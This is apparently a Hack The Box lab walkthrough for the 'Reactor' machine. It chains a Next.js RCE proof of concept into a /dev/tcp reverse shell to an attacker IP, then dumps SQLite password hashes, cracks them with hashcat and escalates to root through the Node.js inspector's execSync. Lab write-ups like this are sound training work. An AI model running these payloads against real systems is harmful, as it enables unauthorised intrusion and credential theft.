HTB-Season-11-Reactor

Pasted image 20260525010027.png700

Overview

Reactor is a Linux machine running a Next.js 15.0.3 web application on port 3000. The attack chain involves exploiting a critical Remote Code Execution vulnerability in Next.js (CVE-2025-55182) to gain an initial foothold, dumping credentials from a local SQLite database, cracking MD5 hashes with Hashcat, and finally performing privilege escalation via a Node.js inspector debug socket listening on localhost.


Enumeration :

Port Scanning — Nmap

nmap -Pn -sC 10.129.1.50

Results:

Port State Service
22/tcp open ssh
3000/tcp open ppp

Screenshot 2026-05-24 010132.png700

Web Fingerprinting — Wappalyzer

Using Wappalyzer on http://10.129.1.50:3000 revealed:

Screenshot 2026-05-24 020015.png400

Next.js version 15.0.3 is vulnerable to CVE-2025-55182, a critical Remote Code Execution vulnerability.

Exploitation — CVE-2025-55182 (Next.js RCE)

Vulnerability

CVE-2025-55182 is a Remote Code Execution vulnerability affecting Next.js versions prior to the patch. It allows an unauthenticated attacker to execute arbitrary system commands via a crafted Flight payload.

References:

Setting Up Listener

rlwrap nc -lvnp 4444

Executing the PoC

python3 poc-cve-2025-55182.py \
  -u http://10.129.1.50:3000 \
  -c "sh -i >& /dev/tcp/10.10.14.53/4444 0>&1"

Pasted image 20260524032324.png700


### Reverse Shell Received
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.129.1.50] 43740
sh: 0: can't access tty; job control is turned off
$

If we look closely we will be finding a .db file if we open it using sqlite3 you will come across this :


Shell landed as the `node` user inside `/opt/reactor-app`.

$ ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db

Post-Exploitation — Database Credential Dump

A SQLite database reactor.db was present in the app directory.

sqlite3 reactor.db ".dump"

Database Schema

CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL,
    role TEXT NOT NULL,
    email TEXT
);

Extracted Credentials

INSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
# Username Hash (MD5) Role
1 admin a203b22191d744a4e70ada5c101b17b8 administrator
2 engineer 39d97110eafe2a9a68639812cd271e8e operator

Pasted image 20260524032613.png700


Password Cracking — Hashcat (MD5)

Preparing Hash File

echo "a203b22191d744a4e70ada5c101b17b8" > hashes.txt
echo "39d97110eafe2a9a68639812cd271e8e" >> hashes.txt

Screenshot 2026-05-24 025508.png700

Cracking with Hashcat

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

Results

39d97110eafe2a9a68639812cd271e8e:reactor1

Screenshot 2026-05-24 025554.png700

Username Password
engineer reactor1
admin (not cracked / not needed)
SSH login with the engineer credentials was not working for direct SSH access.

Lateral Movement — User Flag

Since SSH didn't work, we leveraged the existing shell (running as node) and switched users directly:

su engineer
# Password: reactor1
engineer@reactor:/home$ cd engineer
engineer@reactor:~$ ls
user.txt

Screenshot 2026-05-24 025831.png700


Privilege Escalation — Node.js Inspector Debug Socket

Internal Port Discovery

ss -tlnp
State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
LISTEN  0       511     127.0.0.1:9229      0.0.0.0:*
LISTEN  0       4096    0.0.0.0:22          0.0.0.0:*
LISTEN  0       4096    127.0.0.54:53       0.0.0.0:*
LISTEN  0       4096    127.0.0.53%lo:53    0.0.0.0:*
LISTEN  0       511     *:3000              *:*
LISTEN  0       4096    [::]:22             [::]:*

Screenshot 2026-05-24 025925.png700

Port 9229 is the Node.js Inspector debug port, listening only on localhost. This is a well-known privilege escalation vector when running as a privileged user.

Exploiting Node Inspector for RCE as Root

node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug>

Once in the debug REPL, we executed a system command to read the root flag:

exec('process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()')

Attack Chain Summary

Nmap Scan → Port 3000 (Next.js 15.0.3)
    ↓
CVE-2025-55182 RCE → Reverse Shell (node user)
    ↓
SQLite DB Dump → MD5 Hashes (admin, engineer)
    ↓
Hashcat Crack → engineer:reactor1
    ↓
su engineer → user.txt ✅
    ↓
ss -tlnp → Port 9229 (Node Inspector)
    ↓
node inspect → RCE as root → root.txt ✅

Tools Used

Tool Purpose
Nmap Port scanning & service enum
Wappalyzer Technology fingerprinting
CVE-2025-55182 PoC Next.js RCE exploitation
netcat (rlwrap) Reverse shell listener
sqlite3 Database credential extraction
Hashcat MD5 password cracking
node inspect Node.js debug socket exploit

Key Takeaways

  1. Always fingerprint web framework versions — Next.js 15.0.3 had a publicly known critical RCE.
  2. SQLite databases in app directories are low-hanging fruit for credential harvesting post-foothold.
  3. MD5 password hashing remains dangerously weak — cracked in under 10 seconds with rockyou.
  4. Node.js Inspector port (9229) exposed locally is a serious privilege escalation vector, especially when the process runs as root.
  5. SSH failures don't mean lateral movement is blockedsu from an existing shell worked perfectly.

Return Home